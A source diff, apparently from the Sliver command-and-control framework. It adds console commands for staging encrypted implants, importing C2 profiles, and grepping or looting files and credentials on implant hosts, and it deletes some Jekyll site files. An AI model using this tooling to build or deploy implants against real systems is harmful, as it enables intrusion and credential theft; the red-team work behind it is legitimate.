f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
@@ -666,6 +666,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -674,6 +675,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
server.AddCommand(generateCmd)
@@ -734,6 +736,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -742,6 +745,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
generateCmd.AddCommand(generateBeaconCmd)
@@ -921,6 +925,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -929,6 +934,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)"))
profilesCmd.AddCommand(profilesNewCmd)
@@ -991,6 +997,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -999,6 +1006,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)"))
profilesNewCmd.AddCommand(profilesNewBeaconCmd)
@@ -1015,6 +1023,26 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesRmCmd)
profilesStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Generate an encrypted and/or compressed implant",
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
generate.ProfilesStageCmd(cmd, con, args)
},
}
Flags("stage", false, profilesStageCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "implant name")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
carapace.Gen(profilesStageCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesStageCmd)
profilesInfoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "Details about a profile",
@@ -1066,6 +1094,16 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con))
implantBuildsCmd.AddCommand(implantsRmCmd)
implantStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Serve a previously generated implant",
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
Run: func(cmd *cobra.Command, args []string) {
generate.ImplantsStageCmd(cmd, con, args)
},
}
implantBuildsCmd.AddCommand(implantStageCmd)
canariesCmd := &cobra.Command{
Use: consts.CanariesStr,
Short: "List previously generated canaries",
@@ -1267,6 +1305,14 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Short: "Monitor threat intel platforms for Sliver implants",
GroupID: consts.SliverHelpGroup,
}
configCmd := &cobra.Command{
Use: consts.MonitorConfigStr,
Short: "Configure monitor API keys",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorConfigCmd(cmd, con, args)
},
}
monitorCmd.AddCommand(&cobra.Command{
Use: "start",
Short: "Start the monitoring loops",
@@ -1281,6 +1327,23 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
monitor.MonitorStopCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "add",
Short: "Add API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorAddConfigCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "del",
Short: "Remove API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorDelConfigCmd(cmd, con, args)
},
})
monitorCmd.AddCommand(configCmd)
server.AddCommand(monitorCmd)
// [ Loot ] --------------------------------------------------------------
@@ -1788,6 +1851,40 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con))
}
}
// [ HTTP C2 Profiles ] --------------------------------------------------------------
ImportC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.ImportC2ProfileCmd(cmd, con, args)
},
}
Flags(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.C2ProfileCmd(cmd, con, args)
},
}
Flags(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display")
})
FlagComps(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(ImportC2ProfileCmd)
server.AddCommand(C2ProfileCmd)
// [ Post-command declaration setup]-----------------------------------------
// Everything below this line should preferably not be any command binding
+3 -3
View File
@@ -21,7 +21,7 @@ package sgn
import (
"context"
"encoding/hex"
"io/ioutil"
"os"
"path/filepath"
"github.com/spf13/cobra"
@@ -33,7 +33,7 @@ import (
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
shellcodeFile := args[0]
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
rawShellcode, err := os.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
@@ -73,7 +73,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0o644)
err = os.WriteFile(outputFile, shellcodeResp.Data, 0o644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
+108 -1
View File
@@ -791,6 +791,25 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionValues().Usage("path to dest file (required)"),
)
cpCmd := &cobra.Command{
Use: consts.CpStr,
Short: "Copy a file",
Long: help.GetHelpFor([]string{consts.CpStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.CpCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(cpCmd)
Flags("", false, cpCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(cpCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to source file (required)"),
carapace.ActionValues().Usage("path to dest file (required)"),
)
lsCmd := &cobra.Command{
Use: consts.LsStr,
Short: "List current directory",
@@ -920,9 +939,94 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
)
grepCmd := &cobra.Command{
Use: consts.GrepStr,
Short: "Search for strings that match a regex within a file or directory",
Long: help.GetHelpFor([]string{consts.GrepStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.GrepCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(grepCmd)
Flags("", false, grepCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.BoolP("recursive", "r", false, "search recursively")
f.BoolP("insensitive", "i", false, "case-insensitive search")
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
f.BoolP("exact", "e", false, "match the search term exactly")
})
carapace.Gen(grepCmd).PositionalCompletion(
carapace.ActionValues().Usage("regex to search the file for"),
carapace.ActionValues().Usage("remote path / file to search in"),
)
headCmd := &cobra.Command{
Use: consts.HeadStr,
Short: "Grab the first number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.HeadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, true)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(headCmd)
Flags("", false, headCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
tailCmd := &cobra.Command{
Use: consts.TailStr,
Short: "Grab the last number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.TailStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, false)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(tailCmd)
Flags("", false, tailCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
Short: "Upload a file",
Short: "Upload a file or directory",
Long: help.GetHelpFor([]string{consts.UploadStr}),
Args: cobra.RangeArgs(1, 2),
Run: func(cmd *cobra.Command, args []string) {
@@ -933,6 +1037,9 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
sliver.AddCommand(uploadCmd)
Flags("", false, uploadCmd, func(f *pflag.FlagSet) {
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
f.BoolP("recurse", "r", false, "recursively upload a directory")
f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination")
f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(uploadCmd).PositionalCompletion(
+1 -2
View File
@@ -20,7 +20,6 @@ package tasks
import (
"context"
"io/ioutil"
"os"
"strings"
"time"
@@ -782,7 +781,7 @@ func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
return
}
}
err = ioutil.WriteFile(saveTo, data, 0o600)
err = os.WriteFile(saveTo, data, 0o600)
if err != nil {
con.PrintErrorf("Failed to save file: %s\n", err)
return
+1 -2
View File
@@ -23,7 +23,6 @@ import (
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
@@ -120,7 +119,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
appDir := assets.GetRootAppDir()
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
if err != nil {
con.Printf("Failed to save update check time %s", err)
}
+2 -2
View File
@@ -23,8 +23,8 @@ import (
"context"
"encoding/base64"
"encoding/hex"
"io/ioutil"
"net"
"os"
"strings"
"text/template"
@@ -95,7 +95,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
if !strings.HasSuffix(save, ".conf") {
save += ".conf"
}
err = ioutil.WriteFile(save, output.Bytes(), 0o600)
err = os.WriteFile(save, output.Bytes(), 0o600)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+5 -2
View File
@@ -192,7 +192,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
consoleLog := getConsoleLogFile()
consoleLogStream, err := con.ClientLogStream("json")
if err != nil {
log.Printf("Could not get client log stream: %s", err)
log.Printf("Could not get client json log stream: %s", err)
}
con.setupLogger(consoleLog, consoleLogStream)
defer consoleLog.Close()
@@ -202,6 +202,9 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
defer asciicastLog.Close()
asciicastStream, err := con.ClientLogStream("asciicast")
if err != nil {
log.Printf("Could not get client asciicast log stream: %s", err)
}
con.setupAsciicastRecord(asciicastLog, asciicastStream)
}
@@ -547,7 +550,7 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Priority: uint32(0),
})
config := &clientpb.ImplantConfig{
Name: session.GetName(),
ID: session.ID,
GOOS: session.GetOS(),
GOARCH: session.GetArch(),
Debug: true,
+1 -1
View File
@@ -163,7 +163,7 @@ func (con *SliverConsoleClient) Println(args ...any) {
logger := slog.New(con.jsonHandler)
format := strings.Repeat("%s", len(args))
logger.Info(fmt.Sprintf(format, args))
con.printf(format, args...)
con.printf(format+"\n", args...)
}
// PrintInfof prints an info message immediately below the last line of output.
+15 -5
View File
@@ -143,6 +143,8 @@ const (
SettingsStr = "settings"
SearchStr = "search"
TrafficEncodersStr = "traffic-encoders"
C2ProfileStr = "c2profiles"
ImportC2ProfileStr = "import"
// Generic
@@ -180,6 +182,7 @@ const (
HttpsStr = "https"
NamedPipeStr = "named-pipe"
TCPListenerStr = "tcp"
UDPListenerStr = "udp"
MsfStr = "msf"
MsfInjectStr = "msf-inject"
@@ -199,12 +202,17 @@ const (
LsStr = "ls"
MvStr = "mv"
CpStr = "cp"
RmStr = "rm"
StageStr = "stage"
MkdirStr = "mkdir"
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
GrepStr = "grep"
UploadStr = "upload"
IfconfigStr = "ifconfig"
NetstatStr = "netstat"
@@ -254,6 +262,7 @@ const (
WgSocksStr = "wg-socks"
WgPortFwdStr = "wg-portfwd"
MonitorStr = "monitor"
MonitorConfigStr = "config"
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
@@ -286,11 +295,12 @@ const (
BuildersStr = "builders"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
DefaultC2Profile = "default"
)
// Groups
+2 -2
View File
@@ -22,7 +22,7 @@ import (
"bytes"
"context"
"errors"
"io/ioutil"
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
@@ -139,7 +139,7 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
loaderData, err := os.ReadFile(loaderPath)
if err != nil {
return err
}
+2 -2
View File
@@ -24,7 +24,7 @@ import (
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"io"
"net"
"net/http"
"strings"
@@ -161,7 +161,7 @@ func requestPayload(target string) ([]byte, error) {
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
return io.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
+2 -2
View File
@@ -3,7 +3,7 @@ package version
import (
"encoding/json"
"errors"
"io/ioutil"
"io"
"net/http"
"os"
"strconv"
@@ -77,7 +77,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
return nil, err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
-24
View File
@@ -1,24 +0,0 @@
---
layout: default
---
<style type="text/css" media="screen">
.container {
margin: 10px auto;
max-width: 600px;
text-align: center;
}
h1 {
margin: 30px 0;
font-size: 4em;
line-height: 1;
letter-spacing: -1px;
}
</style>
<div class="container">
<h1>404</h1>
<p><strong>Page not found :(</strong></p>
<p>The requested page could not be found.</p>
</div>
-41
View File
@@ -1,41 +0,0 @@
source "https://rubygems.org"
# Hello! This is where you manage which Jekyll version is used to run.
# When you want to use a different version, change it below, save the
# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
#
# bundle exec jekyll serve
#
# This will help ensure the proper Jekyll version is running.
# Happy Jekylling!
gem "jekyll", "~> 3.9.0"
# This is the default theme for new Jekyll sites. You may change this to anything you like.
# gem "minima", "~> 2.0"
gem "github-pages", group: :jekyll_plugins
# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
# uncomment the line below. To upgrade, run `bundle update github-pages`.
# gem "github-pages", group: :jekyll_plugins
# If you have any plugins, put them here!
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.6"
end
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
# and associated library.
install_if -> { RUBY_PLATFORM =~ %r!mingw|mswin|java! } do
gem "tzinfo", "~> 1.2"
gem "tzinfo-data"
end
# Performance-booster for watching directories on Windows
gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
# kramdown v2 ships without the gfm parser by default. If you're using
# kramdown v1, comment out this line.
gem "kramdown-parser-gfm"
gem "webrick", "~> 1.8"
-274
View File
@@ -1,274 +0,0 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.6.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
coffee-script (2.4.1)
coffee-script-source
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.9)
concurrent-ruby (1.2.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.16.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (2.7.4)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (228)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.3)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.4.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
jekyll-readme-index (= 0.3.0)
jekyll-redirect-from (= 0.16.0)
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.8.0)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.2)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.4)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.13.6, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.3)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
jekyll (3.9.3)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (>= 0.7, < 2)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
liquid (~> 4.0)
mercenary (~> 0.3.3)
pathutil (~> 0.9)
rouge (>= 1.7, < 4)
safe_yaml (~> 1.0)
jekyll-avatar (0.7.0)
jekyll (>= 3.0, < 5.0)
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.4.0)
commonmarker (~> 0.23.7)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 5.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
jekyll (>= 3.7, < 5.0)
jekyll-gist (1.5.0)
octokit (~> 4.2)
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
jekyll-optional-front-matter (0.3.2)
jekyll (>= 3.0, < 5.0)
jekyll-paginate (1.1.0)
jekyll-readme-index (0.3.0)
jekyll (>= 3.0, < 5.0)
jekyll-redirect-from (0.16.0)
jekyll (>= 3.3, < 5.0)
jekyll-relative-links (0.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-remote-theme (0.4.3)
addressable (~> 2.0)
jekyll (>= 3.5, < 5.0)
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.8.0)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
jemoji (0.12.0)
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.2)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.4)
listen (3.8.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.17.0)
nokogiri (1.14.3)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
pathutil (0.16.2)
